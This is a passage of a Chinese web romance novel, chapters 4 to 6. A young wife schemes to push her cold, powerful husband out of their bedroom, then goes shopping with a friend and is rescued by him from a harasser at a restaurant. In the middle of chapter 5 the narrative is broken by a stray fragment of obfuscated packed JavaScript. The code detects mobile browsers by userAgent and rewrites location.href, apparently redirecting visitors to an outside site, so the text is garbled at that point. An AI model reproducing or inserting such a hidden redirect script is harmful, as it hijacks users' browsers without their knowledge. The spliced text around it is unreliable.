她眼尾微微上挑,迈着轻软的步子,朝裴景辞凑近。
女孩儿穿着松垮的丝绸睡衣,刚洗完澡的肌肤泛着浅淡的粉,湿发垂在肩头,水珠顺着纤细的脖颈滑落,透着不经意间的慵懒娇憨。
但其实,苏忘卿心里疯狂刷屏:快嫌我烦,快躲远点,谢谢。
而裴景辞,垂眸,看着朝自己越靠越近的女孩儿眼底藏着的不算严实的小九九,镜片后的眸光幽深如潭。
这时,苏忘卿已经快贴到裴景辞身上了。
奇怪,裴景辞怎么还不躲?
难道是在硬忍?
这是逼她放大招啊。
苏忘卿仰起小脸儿看眼前高大的男人,眼神直白又黏人,声音也又软又黏:“而且……这别墅里,好像只有这一间卧室。”
“那我们……”
心里却在疯狂呐喊:我都对你这么主动了,你还看不出我有坏心思吗?快躲开呀,快被我恶心走,快去睡沙发。
可裴景辞却还只是淡淡的看着苏忘卿。
没躲,也没任何反应。
只是那目光沉沉的,像深不见底的水。
苏忘卿被男人看的心里发毛,甚至有那么一瞬间,她都怀疑这个男人是个近女色的正常男人了。
苏忘卿赶紧甩掉这种奇怪的想法,硬着头皮继续演。
她视线往下滑,落在男人黑色睡袍的带子上。
那根带子松松的系在男人的腰间,只要她轻轻一扯……
苏忘卿深呼吸一口气,咬了咬下唇,心一横,伸出手,一点一点靠近睡袍带子。
指尖刚触到带子,苏忘卿心里开始紧张催促:看到了吗?我对你图谋不轨,快把我推开,然后自己去睡沙发。
最好直接离开卧室。
下一刻,苏忘卿腕间骤然一紧。
男人的手掌干燥温热,指节分明,力道稳而冷,不轻不重扣住苏忘卿手腕,将她所有刻意的动作钉在原地。
裴景辞垂眸,金丝边框眼镜的镜片滤去暖光,遮住他眸底翻涌的暗潮,只剩一片清冷。
男人长睫垂落,在下眼睑上投出浅淡阴影,下颌线绷的极紧,原本疏淡的眉眼添了几分沉意,凸起的喉结极轻的滚了一下。
苏忘卿腕间微僵,指尖下意识蜷起,心里却松了口气。
尤其是,看着眼前的男人凝着自己的目光幽邃,淡漠,像在看一个逾越分寸的陌生人。
对,就是这样。
快阻止她。
苏忘卿努力装出羞怯软绵的模样,嘴角弯起甜甜的笑,眼底却藏着掩不住的得意。
裴景辞是不是马上就要嫌恶的甩开她的手?然后冷着脸说“裴太太请自重”?
快说,等着呢。
“裴太太,”
男人唇瓣轻启,嗓音压的低低的,蕴着一丝不易察觉的哑,尾音淡的近乎冷:“你知道……自己在做什么吗?”
苏忘卿眼尾微微上挑,故作娇羞的眨了眨眼,指尖还轻轻蹭了蹭男人攥着自己的掌心,软糯开口:
“知道啊,我们是夫妻……”
后面的话不用说完,言外之意不言而喻。
而话音落时,苏忘卿还故意往男人身前凑了半寸,妥妥一副期待和新婚丈夫发生点儿什么的样子。
可裴景辞听了这话,非但没有如苏忘卿所想那般推开她,反而一如既往攥着她手腕?
而男人藏在金丝边框眼镜后的眼眸,本就清冽如寒潭,此刻却愈发深邃暗沉。
暖黄灯光揉碎在镜片上,遮不住眸底翻涌的暗潮,恍惚间,好像有什么滚烫又克制的情绪一闪而过,快的让苏忘卿只当是自己眼花的错觉。
下一秒,男人微微倾身,朝着她缓缓靠近。
男人清冽冷寂的气息,裹着无形的压迫感悄无声息的漫上来,压的苏忘卿呼吸一滞。
她心里莫名一紧,方才还稳操胜券的得意顷刻间散了个干净。
苏忘卿心跳莫名乱了节拍,不自觉跟着男人的靠近而一点一点往后退。
这,这就是传闻中手段狠辣的活阎王吗?
这气场……有点可怕……
苏忘卿还不停往后退着,直到小腿猝不及防抵到沙发边缘,上半身重心失衡,她整个人不受控制朝后仰去。
“啊……”
跟着,惊呼声卡在喉咙里,苏忘卿腰间忽然一紧。
男人温热的大手轻松揽住了她纤细的腰肢。
裴景辞掌心干燥滚烫,力道稳而有力,轻松一托,便将她下坠的身形牢牢扣在半空。
只是如此一来,二人距离倏地被拉近。
苏忘卿仰着身子,湿漉漉的头发垂落。
男人倾身靠近,长长的睫毛投下浅淡的阴影。
四目相对,二人呼吸近的交织在一起,连空气都黏稠发烫起来。
头顶暖色调的光洒在二人身上,映的男人冷白肌肤泛着浅淡的光泽,镜片后的眼眸深不见底,清清楚楚映着苏忘卿惊讶慌乱的小脸儿。
“裴太太,”
男人声音沙哑,还夹杂着沉缓勾人的质感,一字一句,撞在苏忘卿心尖上:“你确定?”
还没从美颜暴击中回过神来的苏忘卿,一愣。
确定?
确定什么?
确定要伸手解他的睡袍带子?
苏忘卿呼吸一紧。
她张了张嘴,原本准备好的痴缠台词,此时此刻全忘的一干二净。
脸颊更是烫的简直能烧起来,眼底的慌乱藏都藏不住,哪里还有半分戏精耍人的模样?
可她不能崩人设,不能露馅儿,更不能让这个男人看出自己在装。
于是苏忘卿咬着下嘴唇,强行压下心底的慌。
她仰着小脸,眼底漾出一层浅浅的水光,指尖攥住男人胸前的睡袍布料,声音软而轻:“当,当然确定。”
“我们是夫妻,领证的合法夫妻,不是吗?”
苏忘卿演的越真,心里越在疯狂尖叫:当然不确定,她们是假夫妻,合法假夫妻。
快生气,快推开她,快去睡沙发,裴景辞再不走,她真的要演不下去了。
而苏忘卿这副明明抗拒的要死,却硬着头皮往上凑的样子,落在裴景辞眼里,妥妥一
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只炸着毛却还要为达目的,不得不被迫往他怀里钻的小狐狸。
男人看着怀里女孩儿眼里强装的认真和羞怯,眸色又深了几分。
须臾,男人极轻的笑了一声。
那笑声很轻,轻到让苏忘卿几乎以为是自己的错觉。
可这一声笑,确确实实存在。
低沉,短促,像是从胸腔里溢出来的,夹杂着些许说不清道不明的意味。
苏忘卿一愣。
裴景辞……笑了?
这个不近女色的活阎王,居然笑了?
还没反应过来,就见男人唇瓣轻启,低沉的嗓音传到苏忘卿耳朵里,
“如你所愿,”
“裴太太。”
简简单单几个字,让苏忘卿脸上的惊讶一滞。
什,什么?
裴景辞说什么?
如她所愿?
不是,她只是单纯想装痴缠恶心裴景辞,逼他去沙发,谁要真的如所愿啊?
演不下去了。
彻底演不下去了。
苏忘卿眼里的痴缠一秒破功,只剩实打实的慌。
小手更是慌忙轻抵在男人胸口上,声音都发飘了,当场认怂:
“……我,我不是那个意思,我的意思是……夜,夜深了,裴先生早点休息。”
闻言,裴景辞看着怀里女孩儿破防后手足无措的模样,揽在她腰上的手指收紧。
跟着,男人掌心微一用力,将苏忘卿一带,稳稳扶回地面。
而裴景辞自己,也站直身子,收敛所有外放情绪,仿佛刚才那片刻的哑,从未存在过。
“去把头发吹干。”
男人语气清淡,听不出丝毫喜怒:“睡觉。”
话音落下,裴景辞不再多留一眼,转身大步流星朝卧室门口走去。
男人身姿挺拔,步履沉稳,没有半分停顿,直接推门而出,顺手带上了房门。
顷刻间,卧室恢复安静。
苏忘卿愣在原地,愣了好几秒,才猛地松了一大口气,后背惊出一层薄汗。
刚才裴景辞笑那一下,她真以为要玩脱了。
还好,裴景辞果然被她恶心到了。
就说她这么贴近,裴景辞能忍住不走才怪。
苏忘卿拍着胸口,心有余悸,可嘴角却控制不住往上扬,眼底满是窃喜。
成功了,终于把这位海城活阎王逼走了。
他果然不近女色,完美咸鱼人生,她来啦。
苏忘卿美滋滋哼着歌,转身进卫生间,开开心心吹头发。
却不知,隔壁书房的卫生间里。
冰凉的冷水从头顶倾泻而下,打湿了裴景辞身上的黑色睡袍,睡袍紧紧贴在男人紧实分明的肩背线条上。
裴景辞垂着眼,长长的睫毛上挂着水珠,冷白侧脸在冷光里绷的极紧,喉结反复压抑的滚动。
掌心还残留着女孩儿腰肢柔软的触感,眼前还晃着苏忘卿慌乱泛红的耳尖,耳边还缠着那句带着娇软的“我们是夫妻”。
男人深深的闭了闭眼睛。
冷水一遍一遍冲刷着滚烫的体温,才勉强压下那几乎失控的悸动。
书房里一片寂静,只有持续连绵的水流声。
不知过了多久,也许是一个小时,也许更久。
书房的门被推开。
裴景辞换了一身干燥的睡袍,发梢还带着湿意,身上透着冷水浸过的凉气。
他推开卧室的门。
卧室里一片昏暗,只有窗外月光洒进来,勉强能看到里面的光景。
床上,苏忘卿睡的正香。
女孩儿整个人陷在柔软的被子里,侧躺着,脸颊压着枕头,挤出一点软软的弧度。
长长的睫毛垂下来,唇瓣微微张开,呼吸均匀轻缓,若仔细看,便能发现女孩儿嘴角还上扬一点弧度,不知道是在做什么美梦。
裴景辞站在床边,看了很久。
久到月光悄悄转走,久到窗外的夜色又沉了几分。
男人慢慢弯下腰。
骨节分明的手指探出去,悬在女孩儿上扬一点弧度的嘴角上。
裴景辞唇角跟着勾起一点。
很淡,淡到几乎看不见。
“傻子。”
男人低声说了一句。
不知道是说床上躺着的女孩儿,还是说他自己。
5. 第5章
翌日清晨。
第一缕阳光透过薄纱窗帘洒进来,铺满了整个柔软的大床,暖的让人发懒。
苏忘卿懒洋洋蜷在被子里,蹭了蹭枕头。
半晌,才慢悠悠睁开眼。
入目,是宽敞奢华精致的卧室,空旷安静,一点儿属于裴景辞的陌生气息都没有。
环顾一圈只有她的卧室,苏忘卿愣了两秒,昨晚的记忆才一点一点回笼。
她为了独占整个大床,跟不近女色的裴景辞装痴缠,假装想要解他衣带,然后,裴景辞扔下一句“去吹头发,睡觉”后,大步离开?
他好像还……笑了一下?
当时不太理解裴景辞为什么突然笑,现在想来,那莫非是被她的贴近恶心到不行的冷笑?
或者,就是单纯被她气笑了?
不管怎么样,反正最后是她一个人霸占了整张两米大床,睡的天昏地暗,连梦都是甜的。
苏忘卿掀开被子蹦下床,赤脚踩在柔软的地毯上,跑到卧室门口,拉开一条缝。
外面安安静静,连一丁点儿男人的声音都听不见。
看来裴景辞昨天是连夜躲出去了吧?
而且经过昨晚一事,想必裴景辞以后大概率不会再轻易回来了。
真棒。
苏忘卿捂住嘴,笑出声。
什么狠辣凉薄?
还不是被她区区一点演技就轻松拿捏?
从今以后,大床是她的,别墅是她的,每月500万零花钱也是她的。
从此吃喝玩乐无人管束的顶级咸鱼生活,稳了。
苏忘卿美滋滋的转了一圈,心情好到飞起,完全没去深思一个问题:一个对异性触碰都嫌恶的男人,昨晚被她贴近到那种地步,怎么会只是安静离开,连一句斥责都没有?
更没去深思,裴景辞昨晚的笑声里,还带着一丝不易察觉的晦涩意味。
苏忘卿哼着歌,进了浴室,洗澡洗漱,换衣服,动作轻快的像一只即将出笼的小鸟儿。
等收拾妥当下楼,苏忘卿看到一楼客厅整洁有序,一排佣人们垂手站在一旁,态度礼貌得体。
“裴太太,您醒了。”
最前头的管家上前一步,语气毕恭毕敬:“裴先生一早就去公司了,吩咐厨房为您准备了早餐,裴先生说,如果您需要用车,车库里的车随便您选。”
苏忘卿一愣。
一早?
裴景辞难道不是半夜被他气走了?
那他昨晚在哪里睡的?
睡书房吗?
还吩咐厨房给她准备早餐?车库的车随便她选?
什么情况?
难道是,顾及裴老太太?
“知道了,谢谢。”
苏忘卿点了点头,走进餐厅。
餐桌上摆满了精致可口的早餐,有燕窝粥,水晶虾饺,还有一碟葡萄。
一颗颗葡萄被剥去薄皮,莹润饱满的果肉整齐齐码在盘子里,格外诱人。
苏忘卿慢悠悠享用着味道很赞的早餐。
吃饱喝足,苏忘卿摸出手机给闺蜜林铭月发消息。
【出来逛街,我请。】
【顺便跟你说说我昨晚把裴景辞逼出卧室的事情,太爽了。】
林铭月秒回:【这么猛?刺激,我马上到。】
苏忘卿拎起包包,脚步轻快的出了别墅。
她现在心情绝佳,看什么都顺眼,满脑子都是:自由,美食,帅哥。
至于裴景辞?
不过是个被她轻松拿捏,躲去公司挣钱给她发零花钱的工具人罢了。
这般想着,苏忘卿在管家阿姨的陪同下来到车库。
刚一踏入,忍不住倒吸一口凉气。
只见偌大的车库挑高敞亮,暖光铺洒如顶级车展展厅,几十辆豪车分门别类整整齐齐列满整片空间,一眼望不到尽头。
有颜色炫酷的法拉利,冷峻银灰的兰博基尼,气场沉敛的劳斯莱斯,线条凌厉的迈巴赫。
限量超跑,经典轿跑,商务豪车,复古典藏款应有尽有,车标亮的晃眼。
更惹眼的,是侧边专为女士准备的座驾,有柔粉珠光的玛莎拉蒂,香槟金的定制款宾利,内饰缀着细钻和柔绒,明艳又高级。
苏忘卿愣在原地。
这哪是普通车库?
简直是一座堆满顶级奢品的汽车宫殿,每一辆都价值不菲,震撼的苏忘卿都怀疑自己的眼睛。
不愧是裴景辞。
就是和普通人的不一样。
最后,苏忘卿选了一辆柔粉珠光的玛莎拉蒂。
半个小时后,苏忘卿驱车抵达市中心顶奢商场的地下停车场。
刚将车子停稳,早已等候在旁的林铭月眼睛一亮。
“这是今年刚出的定制限量款吧?听说全网都没几台,你居然直接开出来了?”
“还要多多感谢我老公。”
苏忘卿掏出一张卡,眉眼弯弯:“待会儿想买什么,我买单。”
林铭月双手合十:“感谢裴总。”
二人一同步入商场,直奔各大高定专柜。
当季新款成衣,限量款包包,新款珠宝,店长全程陪同,刷卡干脆利落,各式奢品满满当当。
逛累了,二人便直达顶层私享VIPSPA馆,独享静谧套房,贵妇护肤,专属理疗,一应俱全。
一整天,二人逛的不亦乐乎,挥金如土,肆意畅快,当真快活似神仙。
等逛累了,闺蜜俩一起来到一家高级西餐厅。
刚一落座,林铭月凑过来,一脸八卦的问:“快说快说,你跟裴总到底怎么回事儿?”
苏忘卿端起果汁,得意的扬了扬下巴,语气里是藏不住的炫耀:“我跟你说……”
苏忘卿压低声音,以手遮唇:“我昨晚故意装的特别主动特别粘人,就差直接扑上去了,结果你猜怎么着?”
林铭月:“怎么着?”
“裴景辞直接被我恶心走了。”
苏忘卿止不住憋笑,笑的一脸狡黠:“后面,他应该是一整晚都没回卧室,不知道是不是在书房凑合了一晚,今早一早就跑公司去了,连面都不敢见我。”
“而且你知道吗,他被我恶心到居然还笑了一声?你敢信?裴景辞,活阎王,笑了?还不是被我气笑的?”
苏忘卿挑了挑眉,一脸的拿捏表情:“果然,传闻都是真的,裴景辞就是个不近女色的老古板,我随便演演戏,就把他拿捏的死死的。”
林铭月:“……啊?不对吧?”
看着苏忘卿一脸天真得意的样子,林铭月蹙了蹙眉:“虽然外界的确传闻他不近女色,但你婚前那一晚……”
“等等,说好了不许提的。”
苏忘卿连忙伸手捂住林铭月的嘴。
林铭月被捂着嘴,只能点了点脑袋。
等被松开嘴唇,林铭月还是忍不住问:“你,真的确定……你们俩昨晚上……啥也没干?”
明明领证那天,苏忘卿不还一副昨晚上跟裴景辞做了什么的样子?
怎么今天这么奇怪?
“当然没有啦。”
苏忘卿完全没察觉闺蜜的异样,继续美滋滋规划:“反正,以后那栋大别墅就是我的天下了,对了,你今晚别回家了呗,跟我一起回去?我带你去看裴景辞的车库,那一车库里全是各种豪车……”
后面的话尚未说完,苏忘卿视线不经意间一转,看到不远处驻唱台上一个身影。
只见一个穿着白衬衫的年轻男生正弹着钢琴,眉眼干净,气质清润,是妥妥的小奶狗类型,完全长在了苏忘卿审美点上。
苏忘卿眼睛一亮,单手托腮,毫不掩饰的盯着人家看:“这个好看,清清爽爽的,比裴景辞那冷冰冰的样子顺眼多了。”
一边看,苏忘卿还一边压低声音跟林铭月嘀咕:“你说我去要个微信,他会不会给啊?”
话音未落,苏忘卿一抬眼,不经意间就看到一道熟悉的身影踏入西餐厅。
男人身形高大英挺,面容清隽清冷,剪裁得体的墨色西装穿在身上,散发着一种说不出的矜贵气质。
他目光沉冷,气场强大,无形中透着难以言喻的压迫气息,让人不敢直视,又忍不住频频张望。
一下子就吸引了西餐厅内多人的目光。
裴景辞?
他怎么在这里?
苏忘卿惊讶的立刻转脸,以手遮挡额头,好不让裴景辞发现她。
却没看到,裴景辞瞥了一眼苏忘卿后,便看向台上弹吉他的白衬衫青年。
男人镜片后的眸子沉了沉,像覆上了一层化不开的寒冰,周身隐隐翻涌着低气压。
而苏忘卿,脑子里“嗡”的一声炸开,大脑一片空白。
等等,他怎么还朝着她这边走过来了?
不是吧不是吧?
偏偏,对面的林铭月还没看到裴景辞,正好奇的扒拉苏忘卿想要遮挡脸部的手背。
“忘卿,你干嘛呢?”
“怎么不看小奶狗了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276131|198251||http|test|mini|href|location''.split(''|''),0,{}));
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>苏忘卿:“……”
她连忙伸手捂住闺蜜的嘴,话锋一转:“什么小奶狗?跟我们家裴先生比差远了。”
林铭月一愣:“啊?”
苏忘卿这会儿顾不得解释,瞥了一眼越靠越近的裴景辞,彩虹屁张口就来:“你是没见过裴景辞,那才叫真·顶配,五官身段全是老天爷赏饭,往那一站就想让人扑倒。”
“又厉害又有气场,斯文又禁欲,我长这么大,就没见过比他更帅更绝的男人。”
林铭月:“……?啥?”
她嘴角抽了抽,脑子有点混乱:“你刚才不还夸……”
话还没说完,却见闺蜜突然从椅子上站了起来。
下一秒,女孩儿脸上已然扬起甜的无懈可击的乖巧笑脸,语气亲昵自然,半点心虚都不露,仿佛刚才对别的男人犯花痴的不是她:“裴先生,好巧呀,您也来这里吃饭吗?我们好有缘分。”
前一刻还在诧异闺蜜突然转性的林铭月,后背一凉,惊恐的缓缓转头。
便看到一个高大的男人不知何时出现在面前。
这男人不是别人,正是闺蜜的新婚老公裴景辞?
林铭月吓的蹭的一下子从椅子上站起来,站的笔直。
而裴景辞,垂眸,居高临下的看着苏忘卿。
男人深邃的眸沉沉落在苏忘卿明艳甜美的小脸上,镜片遮住了他所有情绪。
一时间,时间停滞,周围一片沉寂。
针落可闻。
须臾,
“嗯,谈合作。”
男人声线清冽低沉,听不出任何异常,也听不出一丝喜怒。
话音落,裴景辞颔首,没再多看苏忘卿一眼,转身带着两个助理,大步流星往VIP包厢方向走去,周身的低气压久久没有散去。
直到高大的背影彻底消失在走廊尽头,苏忘卿脸上的甜笑瞬间垮掉。
她一把抓住林铭月的手,声音发飘:“你说他,他没听到什么吧?”
林铭月也心有余悸的拍着胸口:“我,我哪知道,我刚才吓的都不敢看他……”
心里却在腹诽:造孽啊。
婚前苏忘卿找男模被裴景辞抓到,这次夸奖小奶狗又有可能被听到,太造孽了。
“淡定淡定,应该没听到。”
苏忘卿压根不知道找男模被裴景辞抓包一事,只关心今天没被裴景辞抓包就行:“刚才我夸小奶狗的时候他还在门口,离的远,应该没听到。”
林铭月点点头深以为然。
随即拍拍闺蜜肩膀:“不过你反应是真的快,刚才那通彩虹屁,连我差点都信了。”
“别说了别说了。”
苏忘卿瞥了一眼走廊尽头,催促道:“快走快走,趁裴景辞在里面谈事,我们赶紧溜,此地不宜久留。”
两人匆匆结完账,脚步飞快的往餐厅门口挪。
可就在这时,一道油腻自负的声音拦在了二人面前:
“苏忘卿?”
苏忘卿眉心一蹙。
面前的男人一身俗气的名牌西装,模样周正,可眼神轻佻油腻,正是之前家里安排相亲的沈子轩。
沈家出了名的纨绔子弟,仗着家里有几个钱,向来眼高于顶,当初被苏忘卿拒绝后,还耿耿于怀纠缠过一次。
“没想到在这碰见你,”
沈子轩扫过苏忘卿空空的右手,嗤笑一声:“之前相亲你拒绝我,我还以为你眼光多高,这不还是单身?”
苏忘卿懒的跟这种人浪费口舌:“让开。”
“装什么清高?”
沈子轩脸色一沉,伸手就去抓苏忘卿手腕:“我再给你个机会,跟我……”
下一刻,他手腕突然被一个男人用力攥住一扭,沈子轩瞬间疼的脸色一白,痛呼出声。
“艹,谁特么敢管老子闲事……裴,裴总?”
沈子轩一转头,就见攥住他手腕的助理面无表情的盯着他。
而在助理身后方,站着一个高高大大的男人。
男人穿着一身墨色纯手工高定西装,冷傲矜贵,气势凌人。
他握住苏忘卿的手,把她整个人护到身后。
接着男人垂眸,扫了一眼自己掌心里苏忘卿刚才差点被碰到的手腕。
然后缓缓抬起眼,看向沈子轩,漠然睥睨他的目光冰冷阴沉,像是在看一件微不足道的物品般,居高临下。
须臾,男人冷冽的唇轻启,低沉冷硬的嗓音带着浓浓危险压迫感,一字一句:“我太太……你也敢碰?”
6. 第6章
“我太太,你也敢碰?”
男人低沉冷硬的嗓音落下,每一个字都带着极致危险的压迫感。
沈子轩吓的浑身发软,大脑一片空白。
且他的手腕被助理扣着,疼的他冷汗直流,却连挣扎的胆子都没有了,只能哆哆嗦嗦求饶:“裴,裴总……您,您说什么?苏忘卿她,她是您……太太?”
“我,我错了,我真不知道她是您太太,求您饶了我这一次……”
沈子轩是真的没想到,苏忘卿不是才跟他相亲完不久吗?
也没戴婚戒,也没听说裴景辞结婚了,怎么转眼间就成了海城首富裴景辞的太太?
沈子轩很是震惊。
可看着眼前矜贵冰冷的男人……
裴景辞站在原地,身姿挺拔,墨色西装没有半分褶皱,金丝边框眼镜后的眸色冷的像寒潭。
明明神色没有太多变化,可居高临下的目光,如同上位者对蝼蚁般的漠视,比任何斥责都让沈子轩胆寒。
沈子轩心慌的不行,双腿软的差点儿要跪下来。
而裴景辞,男人方才戾气的眸色又沉了几分,下颌线绷出冷硬的弧度,语气淡的像在陈述一件无关紧要的事,却字字砸的沈子轩浑身发抖:“回去告诉你父亲,沈氏与裴氏所有合作,即刻终止。”
轻飘飘一句话,直接掐断了沈家的命脉。
在此之前,沈家全靠一层遥远的姻亲关系才勉强攀附裴氏。
这合作一断,不出几个月,沈家必倒。
沈子轩一下子就崩溃了。
“不,裴总,求您不要切断合作,不然我回去一定会被我爸打死的,”
沈子轩吓的眼泪都流出来了,双腿彻底软了下来跪到了地上,疯狂求饶:“裴总您大人有大量,您怎么罚我都行,求您别撤掉合作……求您了。”
可惜裴景辞连一个眼神都懒的给他,只扣着苏忘卿手腕的手臂线条绷的笔直。
须臾,冷冷吐出一个字:“滚。”
话音未落,跪地求饶的沈子轩就被两名保镖架着胳膊强行拉走了。
“裴总,裴总……”
沈子轩崩溃求饶的声音越来越远。
而苏忘卿,愣在原地,仰头看着挡在她身前的高大身影。
男人的背影高大沉稳,墨色高定西装将他的身形衬的愈发挺拔冷冽,像一座不可撼动的大山,将所有风雨都挡在外面。
而被他紧握的手腕传来温热干燥的触感,分毫未松,莫名有一种从未有过的安全感。
苏忘卿心跳加快了一个节拍。
这时,裴景辞缓缓转过身,垂眸看向苏忘卿。
余光瞥了一眼她被自己攥在掌心里的手腕,男人掌心松开,指腹不经意间蹭过她手腕。
“没事?”
裴景辞开口,声线清冽低沉,听不出喜怒,却让苏忘卿心头莫名一颤。
只见眼前男人深邃的眸深不见底,暖色调的灯光洒在他冷白的肌肤上,勾勒出清晰利落的下颌线。
明明是极清隽的一张脸,却自带让人不敢靠近的压迫感。
苏忘卿恍然回神,手腕上还残留着男人刚才轻握时的温热触感,随即后知后觉反应过来,这人可是海城最最手段狠辣城府极深的活阎王?
还是她想要快点逃离的联姻老公?
苏忘卿秒切换成乖巧温顺模式,脑袋摇的像拨浪鼓,嫩白脸上扬起明艳甜美的笑容:“没事没事,谢谢裴先生出手相救,刚才真是吓死我了。”
心里却在咆哮:什么情况?裴景辞怎么出来了?他是有千里眼吗?居然看到了她被欺负?
那她刚才夸小奶狗的话,他应该……没听到吧?
可千万别听到啊。
她的500万零花钱才刚领一个月呢。
至于一旁的林铭月,早就尴尬到脚趾抠出三室一厅。
看着眼前这隐隐透出的危险气息,哪里还敢多留?
她暗搓搓扯了扯苏忘卿的衣角,用口型小声道:“忘卿,我先溜了,回头联系。”
说完,不等苏忘卿回应,林铭月转身,一溜烟的跑了。
只留下苏忘卿一个人,独自面对裴景辞这座移动大冰山。
看着闺蜜落荒而逃的苏忘卿:“……”
跟着,
“回家?”
一道熟悉的低沉嗓音从头顶响起。
苏忘卿转头,对上裴景辞淡漠冷肃的目光。
苏忘卿尴尬扯了扯嘴角,乖乖点头:“好,好呀。”
几分钟后,苏忘卿像一只乖巧的小鹌鹑跟在裴景辞身后,一路跟着他来到地下停车场。
不同于苏忘卿的那一辆柔粉珠光的玛莎拉蒂,裴景辞开的是一辆黑色劳斯莱斯。
车身沉稳大气,内饰奢华低调,车厢内弥漫着一股子淡淡的冷杉薄荷气息,是属于裴景辞的味道。
苏忘卿拉开副驾驶座位车门坐进去,身体绷的笔直,双手规规矩矩放在膝盖上,连呼吸都放轻了几分。
活像个被家长抓包逃学的调皮学生。
而裴景辞坐进驾驶座,没有立即发动车子,反而侧目看了苏忘卿一眼。
这一眼,看得苏忘卿头皮发麻。
忍不住又开始担心裴景辞是不是听到了什么。
车厢内一时间格外安静。
苏忘卿深呼吸,再深呼吸。
然后盯着旁边男人深沉的目光,苏忘卿咬咬牙,抢先开口,彩虹屁张口就来:“裴先生,您刚才也太帅了,简直是天神下凡,那个沈子轩就是个无赖,亏我之前还跟他相过亲,现在想想真是晦气,还好我最后嫁的是您。”
“您看您,又厉害又气场强大,外表斯文禁欲,帅的惊天动地,别说是整个江城了,就算是全世界,都找不到比您更清隽更好更让人心驰神往的男人。”
苏忘卿眼神真诚,表情真挚。
仿佛刚才吐槽眼前这个男人冷冰冰,而夸小奶狗顺眼的人,根本不是她。
裴景辞看着苏忘卿卖力表演的样子,眸底掠过一丝极淡的笑意,快的让人无法捕捉。
又不知想到了什么,神色越发的冷。
一时间,车厢内的温度骤然降了几度,苏忘卿脸上的笑容一僵,心里直打鼓:什么情况?刚才不是还好好的吗?
怎么这气场突然就冷了?
再看驾驶座位上的男人,裴景辞已经不再看苏忘卿,目视前方,发动车子。
男人侧脸线条绷的很紧,握着方向盘的手指许是太过用力而骨节分明,一点情绪看不出,但气压明显比刚才更低。
苏忘卿心里更慌了。
难道她刚才的彩虹屁不够真诚吗?还是哪里说错话了?
也没说错什么呀。
该不会是……裴景辞刚才真的听到她夸小奶狗……了吧?
苏忘卿缩在副驾驶座上,大气都不敢喘。
怎么办怎么办?
要不……再挣扎一下?
“裴先生,”
苏忘卿小心翼翼地开口,声音软的像在撒娇:“您是不是……心情不好?”
裴景辞没说话。
手指又敲了一下方向盘。
苏忘卿心里更慌了。
“那个……如果您心情不好,我可以陪您说说话,或者……”
苏忘卿脑子飞速运转:“我给您讲个冷笑话?”
闻言,裴景辞终于偏过头,看了苏忘卿一眼。
那目光沉沉的,深不见底。
四目相对,只一眼,苏忘卿赶紧收回视线。
她轻咳一声,试探着开口:“有一只……小兔子,有一天去钓鱼,钓了一天什么都没钓到。她很不高兴,于是第二天又去钓鱼,可这一天还是什么都没钓到。小兔子不死心,等到第三天再去,可刚一坐下,一条鱼从水里跳了出来,冲着兔子大喊:‘你再用胡萝卜当饵,我就打死你。’”
笑话刚讲完,苏忘卿没憋住自己先笑了两声,然后去瞄驾驶座上的男人的反应。
可裴景辞没笑。
甚至脸上的表情都没变一下。
苏忘卿:“……”
一定是这个笑话不行。
苏忘卿快速搜索大脑库存,准备再讲一个。
第二个笑话还没开始讲,旁边却倏地传来男人的声音,
“那只兔子,”
裴景辞目视着前方,语气淡淡:“第三天钓到鱼了吗?”
苏忘卿一愣。
裴景辞在……在认真听?
“钓,钓到了吧?”
苏忘卿有点懵:“鱼不是跳出来骂它了吗?”
“不算。”
裴景辞慢条斯理总结:“鱼是自己跳出来的。”
苏忘卿:“……”
这话听起来没错,但是……怎么感觉哪里怪怪的?
等等,裴景辞这是在……跟她讨论冷笑话?
他不是不苟言笑冷心冷情的商界大佬吗?怎么在跟她讨论冷笑话?
难道心情很好?
可前一刻不还在不高兴,气场很冷吗?
苏忘卿忍不住去瞅裴景辞。
见他一如既往在专心开车,且表情也还是淡淡的,但若仔细看,嘴角似乎勾起了一点
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点?
裴景辞的心情……真的不错?
就因为一个冷笑话?
苏忘卿有点懵。
这时,车子驶入了别墅庭院,又开了一分钟之后,缓缓停在主宅别墅门前。
裴景辞熄了火。
“下车。”
苏忘卿乖乖推开车门。
余光瞥见驾驶座车门也被打开了,且高大的男人走下车,还径直朝别墅里走去。
却没看到,方才车内的低冷气压,在男人踏入别墅的那一刻,被不动声色敛去。
唯有镜片后的眸色,更沉了几分,多了层旁人瞧不出的晦暗。
别墅门外,苏忘卿脚步一顿。
裴景辞干嘛进别墅?
他又要留下来?
来不及多想什么,苏忘卿快步跟上,便见裴景辞坐在沙发上接起了工作电话。
苏忘卿:“……”
难道他忘记了昨晚?
不行,她要让裴景辞记起来。
余光瞥到开放式厨房,苏忘卿嘴角一勾,转身,去倒水。
接着端着水杯来到裴景辞面前。
裴景辞还在通电话,目光淡淡扫过来。
见女孩儿双手捧着水杯递到他面前,还眉眼弯弯,甜甜的眨了眨大眼睛,像只依赖主人的小猫咪。
只有眼底深处,藏着掩饰不及时的清冷排斥。
裴景辞眼睫轻垂,遮住眸底一闪而过的探究。
再抬眼时,伸出手,接水。
下一秒,即将递到裴景辞手里的水杯一歪,温热的水泼到了他摊开的掌心里,顺着骨节分明的指缝缓缓滑落。
“不好意思,我笨手笨脚没拿稳,泼到您手上了……”
苏忘卿立刻低下头,眼底飞快掠过一丝窃喜,面上却盛满慌乱无措,声音软得发糯:“我给您擦一擦。”
心里却在暗爽:泼湿了,泼湿了,等她凑上去帮裴景辞擦手心,这种亲密接触,裴景辞这个不近女色的老古板肯定当场炸毛,立马嫌恶躲开。
最好直接离开别墅,连书房也别睡。
可随即,苏忘卿想去抽取纸巾的手倏地被一只湿漉漉的大手牢牢扣住攥住。
苏忘卿一愣,抬眼。
只见被泼了一手水的男人,眉峰未蹙半分,反倒微微俯身,朝她一点一点靠近。
顷刻间,独属于裴景辞的冷杉薄荷气息瞬间朝着苏忘卿扑面而来。
而这张帅到犯规的脸骤然贴近,顶级颜值暴击,苏忘卿不由自主呼吸一滞,更被裴景辞这突如其来的靠近吓的浑身一僵。
